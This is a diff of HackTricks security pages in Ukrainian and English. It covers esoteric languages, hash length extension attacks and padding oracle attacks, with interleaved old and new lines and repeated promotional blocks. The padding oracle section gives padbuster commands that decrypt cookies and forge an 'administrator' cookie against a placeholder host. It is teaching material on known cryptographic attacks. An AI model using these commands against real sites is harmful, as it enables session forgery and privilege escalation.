* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Езотеричні мови
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
@ -25,7 +28,7 @@
## npiet
![](<../.gitbook/assets/image (146).png>)
![](<../.gitbook/assets/image (691).png>)
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
@ -60,9 +63,7 @@ Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
PETOOH - це мова програмування, яка базується на рухах птахів.
## ПЕТУХ
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,62 +1,90 @@
# Hash Length Extension Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
# Опис атаки
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
Уявіть сервер, який **підписує** деякі **дані**, додаючи **секрет** до деяких відомих чітких даних і потім хешуючи ці дані. Якщо ви знаєте:
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
* **Довжину секрету** (це також можна перебрати з вказаного діапазону довжини)
* **Чіткі дані**
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
***
## Summary of the attack
Уявіть собі сервер, який **підписує** деякі **дані**, **додаючи** **секрет** до деяких відомих відкритих текстових даних, а потім хешуючи ці дані. Якщо ви знаєте:
* **Довжину секрету** (це також можна перебрати з заданого діапазону довжин)
* **Відкриті текстові дані**
* **Алгоритм (і він вразливий до цієї атаки)**
* **Відоме заповнення**
* Зазвичай використовується типове, тому якщо виконані інші 3 вимоги, це також
* Заповнення змінюється в залежності від довжини секрету+даних, тому потрібна довжина секрету
* **Паддінг відомий**
* Зазвичай використовується стандартний, тому якщо виконуються інші 3 вимоги, це також так
* Паддінг змінюється в залежності від довжини секрету + даних, тому довжина секрету потрібна
Тоді для **зловмисника** стає можливим **додавати** **дані** і **генерувати** дійсний **підпис** для **попередніх даних + доданих даних**.
Тоді зловмисник може **додати** **дані** і **згенерувати** дійсну **підпис** для **попередніх даних + доданих даних**.
## Як?
### How?
Основні вразливі алгоритми генерують хеші, спочатку **хешуючи блок даних**, а потім, **з** **раніше** створеного **хешу** (стану), вони **додають наступний блок даних** і **хешують його**.
В основному, вразливі алгоритми генерують хеші, спочатку **хешуючи блок даних**, а потім, **з** **раніше** створеного **хешу** (стану), вони **додають наступний блок даних** і **хешують його**.
Тоді уявіть, що секрет - "секрет" і дані - "дані", MD5 "секретдані" - 6036708eba0d11f6ef52ad44e8b74d5b.\
Якщо зловмисник хоче додати рядок "додати", він може:
Тоді уявіть, що секрет - "secret", а дані - "data", MD5 "secretdata" дорівнює 6036708eba0d11f6ef52ad44e8b74d5b.\
Якщо зловмисник хоче додати рядок "append", він може:
* Згенерувати MD5 з 64 "A"
* Змінити стан раніше ініціалізованого хешу на 6036708eba0d11f6ef52ad44e8b74d5b
* Додати рядок "додати"
* Завершити хеш і отриманий хеш буде **дійсним для "секрет" + "дані" + "заповнення" + "додати"**
* Додати рядок "append"
* Завершити хеш, і отриманий хеш буде **дійсним для "secret" + "data" + "padding" + "append"**
## **Інструмент**
### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
## Посилання
### References
Ви можете знайти цю атаку добре поясненою за посиланням [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Ви можете знайти цю атаку добре поясненою на [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,81 +1,83 @@
# Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CBC - Cipher Block Chaining
# CBC - Cipher Block Chaining
У режимі CBC **попередній зашифрований блок використовується як IV** для операції XOR з наступним блоком:
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Для розшифрування CBC виконуються **протилежні операції**:
To decrypt CBC the **opposite** **operations** are done:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Зверніть увагу, що потрібно використовувати **ключ шифрування** та **IV**.
Notice how it's needed to use an **encryption** **key** and an **IV**.
# Доповнення повідомлення
## Message Padding
Оскільки шифрування виконується у **фіксованих блоках фіксованого розміру**, **доповнення** зазвичай потрібне в **останньому блоку**, щоб завершити його довжину.\
Зазвичай використовується **PKCS7**, яке генерує доповнення, **повторюючи кількість байтів**, **необхідних для завершення** блоку. Наприклад, якщо в останньому блоці не вистачає 3 байтів, доповнення буде `\x03\x03\x03`.
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Давайте розглянемо ще приклади з **2 блоками довжиною 8 байтів**:
Let's look at more examples with a **2 blocks of length 8bytes**:
| байт #0 | байт #1 | байт #2 | байт #3 | байт #4 | байт #5 | байт #6 | байт #7 | байт #0 | байт #1 | байт #2 | байт #3 | байт #4 | байт #5 | байт #6 | байт #7 |
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Зверніть увагу, що в останньому прикладі **останній блок був повним, тому був згенерований ще один лише з доповненням**.
Note how in the last example the **last block was full so another one was generated only with padding**.
# Oracle доповнення
## Padding Oracle
Коли додаток розшифровує зашифровані дані, він спочатку розшифровує дані; потім він видаляє доповнення. Під час очищення доповнення, якщо **недійсне доповнення викликає виявну поведінку**, у вас є **уразливість Oracle доповнення**. Виявна поведінка може бути **помилкою**, **відсутністю результатів** або **повільною відповіддю**.
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Якщо ви виявите цю поведінку, ви можете **розшифрувати зашифровані дані** та навіть **зашифрувати будь-який чистий текст**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
## Як експлуатувати
### How to exploit
Ви можете використовувати [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster), щоб експлуатувати цей вид уразливості або просто виконати
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
```
sudo apt-get install padbuster
```
Для перевірки на вразливість куки сайту ви можете спробувати:
Щоб перевірити, чи вразливий кукі сайту, ви можете спробувати:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Кодування 0** означає, що використовується **base64** (але доступні й інші, перевірте меню довідки).
**Кодування 0** означає, що **base64** використовується (але доступні й інші, перевірте меню допомоги).
Ви також можете **зловживати цією вразливістю для шифрування нових даних. Наприклад, уявіть, що вміст куки - "**_**user=MyUsername**_**", тоді ви можете змінити його на "\_user=administrator\_" та підняти привілеї всередині додатку. Ви також можете зробити це, використовуючи `padbuster`, вказавши параметр -plaintext**.
Ви також можете **зловживати цією вразливістю для шифрування нових даних. Наприклад, уявіть, що вміст cookie є "**_**user=MyUsername**_**", тоді ви можете змінити його на "\_user=administrator\_" і підвищити привілеї в додатку. Ви також можете зробити це, використовуючи `paduster`, вказуючи параметр -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Якщо сайт вразливий, `padbuster` автоматично спробує знайти помилку у доповненні, але ви також можете вказати повідомлення про помилку, використовуючи параметр **-error**.
Якщо сайт вразливий, `padbuster` автоматично спробує знайти, коли виникає помилка заповнення, але ви також можете вказати повідомлення про помилку, використовуючи параметр **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## Теорія
### Теорія
У **короткому** вигляді, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можуть бути використані для створення всіх **різних додаткових байтів**. Потім атака на оракула додаткових байтів почне розшифровувати байти з кінця до початку, вгадуючи, яке буде правильне значення, що **створює додатковий байт 1, 2, 3** і т.д.
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення Oracle почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
![](<../.gitbook/assets/image (629) (1) (1).png>)
![](<../.gitbook/assets/image (561).png>)
Уявіть, що у вас є зашифрований текст, який займає **2 блоки**, утворені байтами від **E0 до E15**.\
Для **розшифрування останнього блоку** (**E8** до **E15**), весь блок проходить через "розшифрування блоку шифру" і генерує **проміжні байти I0 до I15**.\
Нарешті, кожен проміжний байт **XORed** з попередніми зашифрованими байтами (E0 до E7). Таким чином:
Уявіть, що у вас є деякий зашифрований текст, який займає **2 блоки**, сформовані байтами з **E0 до E15**.\
Щоб **розшифрувати** **останній** **блок** (**E8** до **E15**), весь блок проходить через "дешифрування блочного шифру", генеруючи **проміжні байти I0 до I15**.\
Нарешті, кожен проміжний байт **XOR'иться** з попередніми зашифрованими байтами (E0 до E7). Отже:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -83,42 +85,42 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4`
* ...
Тепер можна **змінити `E7` до тих пір, поки `C15` не буде `0x01`**, що також буде правильним додатковим байтом. Таким чином, у цьому випадку: `\x01 = I15 ^ E'7`
Тепер можливо **модифікувати `E7`, поки `C15` не стане `0x01`**, що також буде правильним заповненням. Отже, в цьому випадку: `\x01 = I15 ^ E'7`
Таким чином, знаходячи E'7, можна **обчислити I15**: `I15 = 0x01 ^ E'7`
Отже, знайшовши E'7, **можливо обчислити I15**: `I15 = 0x01 ^ E'7`
Це дозволяє нам **обчислити C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Що дозволяє нам **обчислити C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Знаючи **C15**, тепер можна **обчислити C14**, але цього разу методом грубої сили додаткового байту `\x02\x02`.
Знаючи **C15**, тепер можливо **обчислити C14**, але цього разу методом грубої сили для заповнення `\x02\x02`.
Ця BF така ж складна, як і попередня, оскільки можливо обчислити значення `E''15`, яке дорівнює 0x02: `E''7 = \x02 ^ I15`, тому потрібно лише знайти **`E'14`**, який генерує **`C14`, рівний `0x02`**.\
Потім виконайте ті самі кроки для розшифрування C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Цей BF такий же складний, як і попередній, оскільки можливо обчислити `E''15`, значення якого 0x02: `E''7 = \x02 ^ I15`, тому потрібно лише знайти **`E'14`**, яке генерує **`C14`, що дорівнює `0x02`**.\
Потім виконайте ті ж кроки для розшифровки C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Слідуйте цьому ланцюжку, поки не розшифруєте весь зашифрований текст.**
**Продовжуйте цей ланцюг, поки не розшифруєте весь зашифрований текст.**
## Виявлення вразливості
### Виявлення вразливості
Зареєструйте обліковий запис та увійдіть за цим обліковим записом.\
Якщо ви **увійдете багато разів** і завжди отримуєте **той самий кукі**, ймовірно, в програмі є **щось не так**. Куки, які надсилаються назад, повинні бути унікальними кожного разу, коли ви увійдете. Якщо куки завжди **однакові**, вони, ймовірно, завжди будуть дійсними, і **немає способу їх інвалідувати**.
Зареєструйтеся та увійдіть з цим обліковим записом.\
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **один і той же**, ймовірно, він завжди буде дійсним, і не буде способу його анулювати.
Тепер, якщо ви спробуєте **змінити** куки, ви побачите, що отримаєте **помилку** від програми.\
Але якщо ви використовуєте BF для додаткового байту (наприклад, використовуючи padbuster), ви зможете отримати інший куки, дійсний для іншого користувача. Цей сценарій ймовірно дуже вразливий до padbuster.
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від програми.\
Але якщо ви BF заповнення (використовуючи padbuster, наприклад), ви зможете отримати інший cookie, дійсний для іншого користувача. Цей сценарій, ймовірно, вразливий до padbuster.
## Посилання
### Посилання
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Сертифікати
# Certificates
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
